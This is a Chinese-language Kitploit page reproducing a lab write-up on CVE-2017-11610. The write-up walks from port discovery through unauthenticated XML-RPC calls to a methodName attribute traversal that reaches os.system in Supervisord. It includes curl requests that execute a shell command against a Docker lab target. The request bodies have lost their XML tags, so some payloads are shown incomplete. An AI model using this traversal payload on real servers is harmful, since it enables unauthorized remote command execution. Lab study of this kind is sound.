Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/dungsocool/cve-2017-11610
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育远程访问工具实验室与实践
GitHubdungsocool/cve-2017-11610

CVE-2017-11610

针对 CVE-2017-11610(Supervisord XML-RPC RCE)的分步漏洞利用分析,涵盖攻击面分析、命名空间遍历发现,以及在 Docker 实验环境中的后渗透利用技术。

查看仓库
44个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

实验 3- CVE-2017-11610

一、系统分析

从 Docker 环境识别攻击面

从环境中正在运行的内容开始。我列出所有活动容器:``` docker ps-a

![image.png](https://assets.kitploit.com/production/public/readmes/35745/528df65b5736399b78ecfb94ba4506b37ef721e8e31f8247ad7d022a4e54124b.png)

**受害者仅暴露了一个端口:`9001`**。

端口 9001 并非标准的 Web 应用。查阅**端口数据库**可知,该端口可能与 **Supervisord**(根据 IANA 的命名,即 ETL 服务管理器)、Tor 代理或其他某些内部服务相关联。然而,我们不能仅凭端口号就得出结论。

⇒ 我直接使用 curl 读取响应,并访问 Web GUI 以收集更多信息```
curl -i http://192.168.3.137:9001/

image.png

image.png

响应分析:

  • 返回的响应显示 Server: Medusa/1.12 以及标题 Supervisor Status

→ 确认这是 Supervisord,而非 Tor 或任何其他服务。

  • 没有登录表单,没有认证提示 ⇒ 访问无需任何认证
  • 暴露的功能:REFRESH、RESTART ALL、STOP ALL
  • 攻击面评估:

Supervisord 是 Linux 上的进程管理器。如果 port 9001 在未设置密码的情况下暴露到网络中,这是一种危险的配置。攻击者可以查看服务、重启/停止进程,并且在某些配置下,如果拥有修改或控制受管程序的权限,还能利用其执行命令。

分析结论:我们可以确认目标将 Supervisord 管理界面通过网络暴露在 9001 端口。这不是标准的 Web 服务,而是用于监控和控制进程的管理界面。无需认证即可访问此界面的能力,会造成攻击者可以查看受管服务状态或与受管服务交互的风险。

然而,我们必须区分可见的 UI 与底层的控制机制。像 REFRESH、RESTART ALL、STOP ALL 这样的按钮并不会在前端独立处理请求;相反,它们必须调用 Supervisord 的接口/后端来获取状态或发送进程控制命令。因此,在确认 Web UI 已暴露之后,下一步分析是确定 Web UI 背后是否还存在底层的控制接口,以及该接口是否需要认证。

⇒ 思考:需要检查 Web UI 背后的控制接口是否存在,以及它是否需要认证。

检查 XML-RPC 协议

image.png

根据 Supervisor 的文档,[inet_http_server] 是一个监听 TCP 套接字的 HTTP 服务器。该接口默认不启用,只应在受信任的环境中使用,不支持加密,并且除非配置了 username/password,否则默认没有认证。

该文档还指出,[inet_http_server] 的端口用于接收 HTTP/XML-RPC 请求;supervisorctl 通过该端口使用 XML-RPC 与 supervisord 通信。这与我们在实验中的观察一致:容器暴露了 0.0.0.0:9001->9001/tcp,Web UI 无需认证即可访问,显示的版本是 Supervisor 3.3.2。

因此,在确认 9001 端口上的 Web UI 之后,下一步是检查 XML-RPC 端点 /RPC2。基于 Supervisord 的官方机制,我们需要验证以下目标:

  • /RPC2 是否存在。
  • 该端点是否需要认证。
  • 我们能否调用类似 supervisor.getState 或 system.listMethods 的非破坏性方法。
  • 如果无需认证即可调用 RPC,风险级别将从暴露的 Web UI 升级为暴露的进程控制 API。

检查端点是否存活:``` curl -i -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.getState'
http://192.168.3.137:9001/RPC2

![image.png](https://assets.kitploit.com/production/public/readmes/35745/f97bef2d42858c30a246414af228b739e3a49e9ed633b48e68f5702db1b289af.png)

结果返回的是 `HTTP/1.1 200 OK`,而不是 `401 Unauthorized` 或 `403 Forbidden`,这表明服务器在没有凭据的情况下接受了该请求。响应采用 XML-RPC 的 `<methodResponse>` 格式,并包含 `statename=RUNNING` 和 `statecode=1`,证明 `/RPC2` 端点处于活动状态,且 `supervisor.getState` 方法已成功执行。

**⇒ 思考:** 攻击面不再局限于 Web UI,而是扩展到了 XML-RPC API,该 API 负责处理守护进程/进程控制命令。从这里开始,下一步的分析方向是**检查 Supervisor** 如何处理 **XML-RPC** 中的 `methodName`,以判断当前目标是否**表现出 CVE-2017-11610 的行为**,该漏洞存在于该方法的调度/查找机制中。我们需要验证这一点,以最终判断它是否就是 **CVE-2017-11610**。

### **分析 XML-RPC 中的方法名处理**

在上一步中,我们通过 `/RPC2` 端点成功调用了 `supervisor.getState` 方法。这就引出了下一个问题:当收到一个基于字符串的 `methodName` 时,Supervisord 如何将该字符串映射到内部的 Python 函数?

在 XML-RPC 中,方法通常使用命名空间,例如:

- `supervisor.getState`
- `supervisor.stopProcess`
- `supervisor.getAllProcessInfo`

从逻辑上讲,服务器接收 `methodName` 字符串,按点 `.` 进行拆分,然后在已注册的处理器中查找对应的对象/函数。

伪代码可以理解如下:```python
# Pseudo-code simulating the dispatch method concept in XML-RPC
def dispatch(method_name, params):
    parts = method_name.split(".")          # ["supervisor", "getState"]

    obj = registered_handlers[parts[0]]     # get namespace "supervisor"

    for attr in parts[1:]:
        obj = getattr(obj, attr)            # lookup the next attribute

    return obj(*params)                     # call the final function

对于标准方法(如 supervisor.getState),该机制正常工作:服务器会取出 supervisor 处理器,然后调用 getState 函数。 然而,CVE-2017-11610 的核心问题在于,这种查找机制并未充分限制允许访问的属性。如果攻击者能够控制 methodName,那么他们不仅可以调用 getState 等公开方法,还可以沿 supervisor 处理器向下深入遍历其内部可达的对象/模块。

换句话说,methodName 中的点 . 不仅用于调用合法方法,还可能被滥用为遍历对象属性。

这就构成了我们的利用路径:

supervisor → supervisord → options → warnings → linecache → os → system

其思路是:从 supervisor 处理器出发,沿属性追踪到守护进程的内部对象,然后借助预先导入的 Python 模块最终抵达 os.system。如果能够调用 os.system,攻击者就能以 supervisord 进程的权限执行系统命令。

因此,攻击链遵循以下逻辑:

/RPC2 接受未认证的方法调用 → 研究 XML-RPC 如何分发 methodName → 发现 methodName 可以遍历对象属性 → 最终导致调用 os.system。

II. 漏洞利用

确认命名空间遍历是否可行

首先,我需要检查服务器是否真的允许遍历内部属性。 我会尝试调用一个比平时更长的 method name。如果服务器返回“method not found”错误,说明存在过滤器;如果返回的是其他错误(或调用成功),则说明遍历有效。

思考: 我已经知道 supervisor.getState 可以工作。如果我尝试 supervisor.supervisord——这相当于多向下一层——而服务器没有返回 unknown method 错误,那就意味着它确实在使用递归 getattr,且没有白名单限制。

我们知道 XML-RPC 是一种基于 HTTP 的远程过程调用协议,数据以 XML 编码传输。每个请求仅由3 个固定组件组成:```

FUNCTION_NAME VALUE ``` 简单的结构——只需替换 `` 和 ``。如果函数不需要参数,将 `` 留空。如果函数需要字符串,将其包裹在 `...` 中。这并非秘密知识——阅读 XML-RPC RFC 即可了解详情。

⇒ 应用:尝试调用比平时更长的 methodName,以检查命名空间遍历:``` curl -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.supervisord.options'
http://192.168.3.137:9001/RPC2

![image.png](https://assets.kitploit.com/production/public/readmes/35745/2e90c7be7c467c3e59434434765b5a823150ebdd7206775390b53b92532b5254.png)

返回的是 `HTTP 500 Internal Server Error`,而不是标准的 `unknown method` 错误。这表明服务器并未在有效的命名空间级别拦截 `methodName`,而是在调度过程中继续处理了 `supervisor.supervisord.options` 链。换句话说,请求深入遍历了属性查找机制;错误发生在后续步骤,因为解析出的对象无法作为方法调用。这是命名空间通过 `methodName` 进行遍历已生效的明确迹象。

### **查找命令执行函数的路径**

遍历已生效。下一步是**查找一个以可执行系统命令的可调用函数结尾的属性链。**在 Python 中,最容易验证的目标是 `os.system()`。然而,我们**在目标上没有 shell**,并且**无法直接读取容器中的源代码/运行时对象。**因此,我们必须**根据 Python 的导入机制进行推断**,并**先在本地验证依赖关系。**

需要检查的链为:

`supervisor` → `supervisord` → `options` → `warnings` → `linecache` → `os` → `system`

- Supervisord 是用 Python 编写的,因此 `options` 等内部对象是带有属性的 Python 对象。
- 如果某个模块通过 `import X` 导入另一个模块,那么 `X` 将存在于该模块的命名空间中。
- 在 Python 标准库中,`warnings` 模块导入 `linecache` 以便在显示警告时获取上下文。
- `linecache` 模块导入 `os` 用于路径/文件操作。
- `os` 模块提供 `system()` 函数,该函数是可执行 shell 命令的可调用对象。

在对目标执行之前,先在本地确认此依赖关系:```bash
python3 -c "import warnings; print('linecache' in dir(warnings))"
# True

python3 -c "import linecache; print('os' in dir(linecache))"
# True

python3 -c "import os; print(callable(os.system))"
# True

⇒ 思考: 依赖链 warnings → linecache → os 是 CPython 标准库中的真实依赖关系;并且 system 确实是 os 模块中的一个可调用函数。结合 XML-RPC 中的命名空间遍历缺陷,如果我们能从 supervisor 处理程序访问到 supervisord.options.warnings,我们就可以继续遍历到 linecache.os.system 来调用系统命令。

构建 RCE 载荷并执行

在识别出通往 os.system 的遍历链之后,下一步是构造 XML-RPC 请求来调用该函数。在 Python 中,os.system() 接受一个字符串参数,代表要执行的 shell 命令,并返回命令的退出码。该函数不会直接将 stdout 返回给 XML-RPC 响应,因此为了证明命令已执行,我们必须将输出重定向到文件中。

⇒ 思考: 响应中没有直接输出,因此将结果写入 /tmp。在 Linux 上,/tmp 目录通常所有用户都可写。一个安全的验证载荷是:

id > /tmp/rce_proof.txt

将上述分析的 XML-RPC 模板应用过来,把 <methodName> 替换为指向 os.system 的遍历链,并在 <string> 中传入 shell 命令:```bash curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemid > /tmp/rce_proof.txt' http://192.168.3.137:9001/RPC2

![image.png](https://assets.kitploit.com/production/public/readmes/35745/c707fc5eccd973a810240b84646b2c70ff8c09023e5e1b626206489607b6e1da.png)

`<int>0</int>` 是 `os.system()` 的退出码,而不是命令的标准输出。退出码 `0` 表示 shell 命令执行成功。我们可以通过读取容器内的文件来验证这一点:```
docker exec project1-lab03-1 cat /tmp/rce_proof.txt

image.png

下载工具